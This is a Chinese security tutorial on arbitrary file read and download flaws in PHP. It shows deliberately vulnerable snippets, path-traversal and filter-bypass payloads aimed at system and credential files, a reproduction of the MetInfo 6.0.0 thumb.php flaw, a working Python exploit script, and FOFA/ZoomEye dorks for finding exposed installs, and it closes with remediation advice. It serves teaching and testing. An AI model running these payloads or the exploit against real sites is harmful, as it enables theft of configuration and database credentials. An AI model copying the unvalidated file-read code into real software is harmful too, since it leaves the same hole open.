任意文件读取及漏洞复现

news2025/2/21 21:49:48

文章目录

  • 渗透测试漏洞原理
  • 任意文件读取
    • 1. 任意文件读取概述
      • 1.1 漏洞成因
      • 1.2 漏洞危害
      • 1.3 漏洞分类
      • 1.4 任意文件读取
        • 1.4.1 文件读取
        • 1.4.2 任意文件读取
        • 1.4.3 权限问题
      • 1.5 任意文件下载
        • 1.5.1 一般情况
        • 1.5.2 PHP实现
        • 1.5.3 任意文件下载
    • 2. 任意文件读取攻防
      • 2.1 路径过滤
        • 2.1.1 过滤../
      • 2.2 简单绕过
        • 2.2.1 双写绕过
        • 2.2.2 绝对路径
        • 2.2.3 使用..\
        • 2.2.4 设置白名单
    • 3. 任意文件读取挖掘
      • 3.1 手工挖掘
      • 3.2 经典案例(metlnfo_6.0.0_file-read)
        • 3.2.1 漏洞描述
        • 3.2.2 漏洞等级
        • 3.2.3 影响版本
        • 3.2.4 漏洞复现
        • 3.2.5 漏洞点分析
        • 3.2.6 深度利用
        • 3.2.7 修复建议
    • 4. 漏洞修复方案
      • 4.1 输入验证
      • 4.2 避免其他漏洞
      • 4.3 限定文件的访问范围

渗透测试漏洞原理

在这里插入图片描述

任意文件读取

1. 任意文件读取概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露:
  • 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

1.1 漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
  • 读取文件的路径客户端可控,完全控制或影响文件路径参数:
  • 没有对文件路径进行校验或者校验不严导致校验被绕过,
  • 输出了文件的内容。

1.2 漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。

任意文件读取与下载重点关注的文件:

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件

1.3 漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4 任意文件读取

以PHP脚本为例子,有一些函数可以实现文件读取功能。

1.4.1 文件读取

读取文件的函数函数特点
readfile()直接读取文件内容
自带输出功能
feed()直接读取文件内容
需要输出读取内容
fread()打开文件
计算文件大小
读取文件
输出文件
关闭文件

函数具体介绍:PHP: Hypertext Preprocessor。

实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。

readfile:

// readfile.php
<?php
    $fp = "../phpinfo.php"; 
    readfile($fp);
?>

image-20230831163503847

访问页面,查看页面源代码,读取成功。

image-20230831163532888

file_get_contents:

// file_get_contents.php
<?php
    $fp = "../phpinfo.php"; 
    echo file_get_contents($fp);
?>

image-20230831163931880

访问页面,查看页面源代码,读取成功。

image-20230831163911619

fread:

// fread.php
<?php
    $fp = "../phpinfo.php";

    $f = fopen($fp,'r');		//打开文件
    $f_size = filesize($fp); 	//计算文件大小
    echo fread($f, $f_size); 	//读取文件内容并输出到页面上
    fclose($f);
?>

image-20230831164353800

访问页面,查看页面源代码,读取成功。

image-20230831164432437

1.4.2 任意文件读取

变量$fp,会捕获GET方式传递过来的filepath参数。

$fp = @$_GET['filepath'];

image-20230831164814684

image-20230831164805890

filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini

?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts 
?filePath=../../../../../../etc/hosts

image-20230831164911981

1.4.3 权限问题

  • Windows + IIS + ASP/ASPX:低权限
  • Windows + Apache + php:高权限
  • Windows + Java:高权限
  • Linux + Apache + PHP:低权限
  • Linux + Nginx + PHP:不一定
  • Linux + Java:高权限

1.5 任意文件下载

1.5.1 一般情况

直接下载:例如图片另存为。

a标签下载:

<a href = './a.jpg'>IMG Download</a>

1.5.2 PHP实现

PHP文件下载实现过程:

  • 先读取文件
  • 在输出文件
  • 提供下载
// file-download.php

<?php
    $fp = './a.jpg';
    header('Content-Type:image/jpg');
    header('Content-Disposition:attachment;fileName='.basename($fp));
    readfile($fp);
?>

1.5.3 任意文件下载

任意文件下载的条件:

  • 已知目标文件路径
  • 目标文件路径,客户端可控
  • 没有经过校验或校验不严格
$fp = $_GET['filepath'];

实验

<?php
    $fp = $_GET['filepath'];
    // header('Content-Type:image/jpg');
    header('Content-Disposition:attachment;fileName='.basename($fp));
    readfile($fp);
?>

image-20230831165850154

下载成功

image-20230831165930571

文件内容如下:
在这里插入图片描述

2. 任意文件读取攻防

2.1 路径过滤

2.1.1 过滤…/

<?php
    $fp = @$_GET['filepath'];
    $fp = str_replace("../","",$fp); 
    readfile($fp);
?>

2.2 简单绕过

2.2.1 双写绕过

?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts

2.2.2 绝对路径

?filepath=c:/windows\system32\drivers\etc\hosts

2.2.3 使用…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

2.2.4 设置白名单

设置只能访问a,b,cPHP文件

<?php
    $fp = @$_GET['filepath'];
    if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){
        readfile($fp);
    }else{
        echo "Please stop!";
    }
?>

3. 任意文件读取挖掘

3.1 手工挖掘

从文件名上看从参数名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

3.2 经典案例(metlnfo_6.0.0_file-read)

下载链接:MetInfo历史版本与文件。

说明内容
漏洞编号
漏洞名称MetInfo 6.0.0 任意文件读取漏洞
漏洞评级高危
影响范围MetInfo 6.0.0
漏洞描述MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。
修复方案打补丁 升级 上设备

3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

3.2.2 漏洞等级

高危

3.2.3 影响版本

MetInfo 6.0.0

3.2.4 漏洞复现

基础环境

组件版本
OSMicrosoft Windows Server 2016 Standard
Web ServerphpStudy 2016
MetInfo6.0.0

安装过程

image-20230831112202780

image-20230831112312476

访问页面

image-20230831112339968

漏洞点

/include/thumb.php

页面访问该路径

http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

image-20230831114153339

使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。

image-20230831113136239

将抓取到的数据包右键发送到重发器上。

image-20230831113306383

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

image-20230831113500433

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

image-20230831113523130

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

image-20230831113542697

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

image-20230831113627951

注意:

  • 此POC 仅适用于Windows 系统,Linux 下无效。
    • 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。

3.2.5 漏洞点分析

漏洞点产生位置在thumb.php文件

image-20230831114511371

加载old_thumb类

image-20230831115812562

说明:这里的防守做两步判断

  • 将…/和./全部过滤为空。

  • if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。

  • readfile():任意文件读取函数

  • dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。

3.2.6 深度利用

exp编写

import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
     
Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

image-20230831141903577

漏洞挖掘

指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"

3.2.7 修复建议

  • 打补丁
  • 升级
  • 上设备

4. 漏洞修复方案

4.1 输入验证

  • 让web用户只能访问(读取),所需要的文件和路径。

4.2 避免其他漏洞

  • 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

4.3 限定文件的访问范围

让用户不能访问Web根目录以外的路径。

php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围

open_basedir = C:\software\phpstudy_pro\WWW

image-20230831171848343

实验

不做限定的情况:

image-20230831171805332

做限定的情况:

image-20230831171827238

但是这样还有读取到当前的配置文件。

image-20230831171951634

解决方式:所有的修复方案需要配合使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/979116.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无需麻烦验证,文字验证码一键通过

前言 文字验证码&#xff0c;简单易用&#xff0c;安全可靠&#xff01;不需要麻烦的图形识别。这种验证方式不仅方便快捷&#xff0c;而且能有效防止恶意攻击和机器人访问。无需担心复杂操作&#xff0c;只需几秒钟就能完成验证过程。保护您的个人信息和数据安全&#xff0c;…

PG 的状态机和peering过程

首先来解释下什么是pg peering过程&#xff1f; 当最初建立PG之后&#xff0c;那么需要同步这个pg上所有osd中的pg状态。在这个同步状态的过程叫做peering过程。同样当启动osd的时候&#xff0c;这个osd上所有的pg都要进行peering过程&#xff0c;同步pg的状态。peering过程结…

【K 均值聚类】02/5:简介

一、说明 k-mean算法是一种聚类算法&#xff0c;它的主要思想是基于数据点之间的距离进行聚类。K-means聚类是一种无监督的机器学习算法。让我们再解释一下这句话。聚类分析的目标是将数据划分为同类聚类。每个聚类中的点彼此之间比其他聚类中的点更相似。 无监督机器学习是在没…

k8s集群中集群方式安装nacos

1、前提条件 一个k8s集群&#xff0c;其中有三个master 节点&#xff0c;这三个节点的标签名称为etcd 三个master节点的ip 分别为&#xff1a;192.165.187.170 、192.165.187.171、192.165.187.172一个mysql 数据库&#xff0c; 数据库的ip 为&#xff1a;192.165.187.180 用户…

Java虚拟机整型数加载指令学习

JVM中 int 类型数值&#xff0c;根据 取值范围将 入栈的 字节码指令 就分为4类&#xff1a; 取值 -1~5 采用 iconst 指令&#xff1b; 取值 -128~127 采用 bipush 指令&#xff1b; 取值 -32768~32767 采用 sipush指令&#xff1b; 取值 -2147483648~2147483647 采用 ldc 指令。…

pyppeteer模块常用方法

目录 await page.方法 设置相关 setUserAgent(str) setCookie&#xff08;cookie1, cookie2.......&#xff09; 页面相关 goto(url) reload() goBack()/goForward() 执行js evaluate(js_str) 截图 screenshot(dict) 保存pdf pdf(dict) 获取内容 content() co…

Fragment的创建分析

之前的文章讨论了Fragment的销毁流程&#xff0c;初始状态为resume&#xff0c;然后经历pause -> stop -> destroyView -> destroy -> detach这么几个流程&#xff08;本篇文章基于Support27.1.1来分析的&#xff09;。清楚了Fragment的销毁&#xff0c;那也来看看…

《向量数据库指南》——AI原生向量数据库Milvus Cloud 2.3架构升级

架构升级 GPU 支持 早在 Milvus 1.x 版本,我们就曾经支持过 GPU,但在 2.x 版本中由于切换成了分布式架构,同时出于对于成本方面的考虑,暂时未加入 GPU 支持。在 Milvus 2.0 发布后的一年多时间里,Milvus 社区对 GPU 的呼声越来越高,再加上 NVIDIA 工程师的大力配合——为…

CTFHUB ICS(1)

1.异常的工程文件 把文件拖到kali里面去了 unzip 文件名解压文件 文件很多&#xff0c;我们先进到解压的文件夹里面 strings $(find . | xargs) | grep flag linux命令的作用是在当前目录及子目录下递归查找文件,提取文件中的字符串,然后用grep过滤 find . - 在当前目录及递…

cadence virtuoso bandgap温漂公式

先仿真温漂&#xff0c;然后将曲线send to calculate。 调用ymax&#xff0c;ymin&#xff0c;average函数。

PGInfo核心字段详解

PGInfo存在于PG的整个生命周期中&#xff0c;其在对象数据的写入、数据恢复、PG Peering过程中均发挥重要的作用。本章试图研究pg info在整个PG生命周期中的变化过程&#xff0c;从而对PG及PGInfo有一个更深入的理解。 class PG : DoutPrefixProvider { public:// pg statepg_…

Unable to remove Temporary User Data

错误截图 原因 项目的临时数据目录是存在了未授权的盘符&#xff0c;当删除它的时候&#xff0c;遇到了权限问题&#xff0c;没有权限没法删除。 解决方法 增加字段&#xff1a;userDataDir 解决

WSL使用技巧 / 虚拟机对比

WSL使用技巧 / 虚拟机对比 前言虚拟机比较VMware使用技巧WSL使用技巧官方文档工具安装WSL基本命令运行命令关闭卸载磁盘管理导入导出指定安装路径 前言 本文介绍了VMware和WSL的区别&#xff0c;并详细介绍了WSL的使用方法和技巧。 虚拟机比较 VMware 比较灵活&#xff0c;拥…

高压放大器该如何选择(高压放大器选型要求有哪些)

选择适合的高压放大器对于电子设备和实验中的特定应用非常重要。高压放大器通常用于放大高电压信号&#xff0c;如激光驱动、粒子加速器、电力系统和医学成像等领域。在选择高压放大器时&#xff0c;以下几个因素值得考虑。 首先&#xff0c;您需要确定所需的输出电压范围。不同…

Date.toLocaleString()不同系统语言之会返回不同的format(可能导致我查的出来数据别人查不出来)

最近发生了个Bug,访问部署在服务器上的服务&#xff0c;我选了时间之后查的出来数据&#xff0c;别人就不行&#xff0c;同样的条件&#xff0c;同样的时区。百思不得解。 直到看了 request里面的参数&#xff0c;发现怎么format不一致&#xff0c;都是访问的服务器部署的服务。…

Linux下的系统编程——进程的执行与回收(八)

前言&#xff1a; 前面我们对进程已经有了一个初步的了解与认识&#xff0c;现在让我们学习一下进程中一些函数的具体使用&#xff0c;比如exec可以执行一些指定的程序&#xff0c;wait / waitpid可以回收子进程&#xff0c;什么是孤儿进程&#xff0c;什么是僵尸进程&#xf…

性能测试实现天罗地网对各个中间件实现监控

名师出高徒&#xff0c;我亲自带你出征&#xff0c;直捣黄龙。高手都是顶峰相见&#xff01;将军有剑 不斩苍蝇&#xff0c;将军赶路&#xff0c;不追小兔。赶紧上车 带你入行就是高手。

【ccf-csp题解】第1次csp认证-第三题-命令行选项-题解

题目描述 思路讲解 本题是一个简单的字符串模拟题&#xff0c;这种题目是csp认证第三题的常客 大致思路是用两个bool数组记录某一个选项&#xff08;0--25下标对应小写字母a--z&#xff09;&#xff0c;第一个数组中无参选项为true&#xff0c;第二个数组中有参选项为true&a…

【算法系列篇】分治-归并

文章目录 前言什么是归并算法1. 排序数组1.1 题目要求1.2 做题思路1.3 Java代码实现 2. 数组中逆序对2.1 题目要求2.2 做题思路2.3 Java代码实现 3. 计算右侧小于当前元素的个数3.1 题目要求3.2 做题思路3.3 Java代码实现 4. 翻转对4.1 题目要求4.2 做题思路4.3 Java代码实现 总…

金融信创,软件规划需关注自主安全及生态建设

软件信创化&#xff0c;就是信息技术软件应用创新发展的意思&#xff08;简称为“信创”&#xff09;。 相信在中国&#xff0c;企业对于“信创化”这个概念并不陌生。「国强则民强」&#xff0c;今年来中国经济的快速发展&#xff0c;受到了各大欧美强国的“卡脖子”操作的影…